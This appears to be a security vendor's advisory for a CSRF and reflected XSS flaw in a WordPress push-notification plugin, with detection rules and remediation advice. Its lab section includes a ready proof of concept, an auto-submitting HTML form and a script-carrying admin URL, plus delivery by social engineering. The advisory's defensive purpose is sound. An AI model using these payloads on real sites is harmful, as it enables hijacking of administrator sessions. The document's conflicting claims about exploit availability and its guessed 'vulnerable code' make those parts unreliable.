CVE-2025-32546
Executive Summary
CVE-2025-32546 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin All push notification for WP, developed by Gtlwpdev. This flaw allows an attacker to trick an authenticated administrator into performing unintended actions, such as changing plugin settings or triggering a Reflected Cross-Site Scripting (XSS) attack. The vulnerability affects all versions up to and including 1.5.3. No official patch has been released, and no public exploit code is available at this time. The CVSS score is 7.1 (High), indicating significant risk due to the potential for privilege escalation and data theft.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin directly from the WordPress admin dashboard or via manual upload are affected. The lack of a patch means that the supply chain risk is elevated, as no fix is available from the vendor. Organizations should consider removing the plugin or implementing strict web application firewall (WAF) rules to mitigate the risk.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector (AV): Network – The attack can be launched remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need to be authenticated.
- User Interaction (UI): Required – The victim must click a link or visit a malicious page.
- Scope (S): Changed – The impact extends beyond the vulnerable component.
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify data.
- Availability (A): Low – Limited impact on service availability.
Threat Level: High. The combination of CSRF and Reflected XSS allows an attacker to execute arbitrary JavaScript in the context of an authenticated admin session, potentially leading to full site compromise.
Deep Dive & Mechanics
The vulnerability stems from a lack of CSRF protection (nonce validation) in the plugin’s administrative functions. When an authenticated WordPress admin visits a crafted URL or page, the attacker can force the admin to perform actions such as:
- Changing plugin settings (e.g., push notification API keys).
- Triggering a reflected XSS payload that executes in the admin’s browser.
The reflected XSS component is likely due to improper sanitization of user-supplied input in the plugin’s admin interface. An attacker can craft a URL like:
https://victim-site.com/wp-admin/admin.php?page=all-push-notification&message=<script>alert('XSS')</script>
When the admin visits this URL, the script executes, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the site.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern. The plugin likely uses a form submission without a nonce field:
Vulnerable Code (PHP):
function handle_admin_actions() {
if ( isset($_POST['update_settings']) ) {
update_option('apn_api_key', $_POST['api_key']);
// No nonce check
}
}
Patched Code (Hypothetical):
function handle_admin_actions() {
if ( isset($_POST['update_settings']) && wp_verify_nonce($_POST['_wpnonce'], 'apn_settings') ) {
update_option('apn_api_key', sanitize_text_field($_POST['api_key']));
} else {
wp_die('CSRF detected!');
}
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Deploy a WordPress instance with the vulnerable plugin (version 1.5.3) and log in as an administrator.
- Craft the CSRF+XSS Payload: Create an HTML page that automatically submits a form to the vulnerable endpoint:
<html> <body> <form action="http://victim-site.com/wp-admin/admin.php?page=all-push-notification" method="POST"> <input type="hidden" name="update_settings" value="1"> <input type="hidden" name="api_key" value="MALICIOUS_KEY<script>alert('XSS')</script>"> <input type="submit" value="Submit"> </form> <script>document.forms[0].submit();</script> </body> </html> - Deliver: Host the page on an attacker-controlled server and send the link to the victim admin via email or social engineering.
- Result: The admin’s browser executes the XSS payload, and the attacker can steal session cookies or perform actions.
Blue Team (Defense & Detection)
- Monitor Logs: Look for unusual POST requests to
/wp-admin/admin.php?page=all-push-notificationfrom non-admin IPs. - WAF Rules: Block requests containing
<script>tags in theapi_keyparameter. - User Training: Educate admins to avoid clicking suspicious links and to use browser extensions that block CSRF attacks.
- Plugin Removal: If the plugin is not critical, remove it immediately.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin.php?page=all-push-notificationwith unusual parameters. - Referer headers from external domains.
- POST requests to
- File IOCs:
- Modified
wp_optionstable entries forapn_api_keycontaining JavaScript.
- Modified
- Behavioral IOCs:
- Unexpected changes to push notification settings.
- Admin session cookies being exfiltrated to external domains.
Detection Engineering
YARA Rule
rule CVE_2025_32546_CSRF_XSS {
meta:
description = "Detects CSRF+XSS attempts against All push notification for WP plugin"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2025-32546"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$csrf_endpoint = "admin.php?page=all-push-notification"
condition:
$csrf_endpoint and $xss_payload
}
Sigma Rule
title: CVE-2025-32546 - CSRF+XSS in All push notification for WP
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting the vulnerable plugin endpoint with potential XSS payloads
author: Valters IT
date: 2025-04-17
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin.php?page=all-push-notification'
cs-uri-query|contains: '<script'
condition: selection
falsepositives:
- Legitimate admin actions with benign input
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-32546 - CSRF+XSS in All push notification for WP"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php?page=all-push-notification"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Remove or disable the plugin until a patch is released.
- WAF Rules: Implement rules to block requests containing
<script>tags in theapi_keyparameter. - Code Fix: Add nonce verification and input sanitization to all admin-facing forms.
- User Education: Train administrators to recognize phishing attempts and avoid clicking suspicious links.
- Monitor: Continuously monitor logs for signs of exploitation.
Valters IT
Securing your digital frontier.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.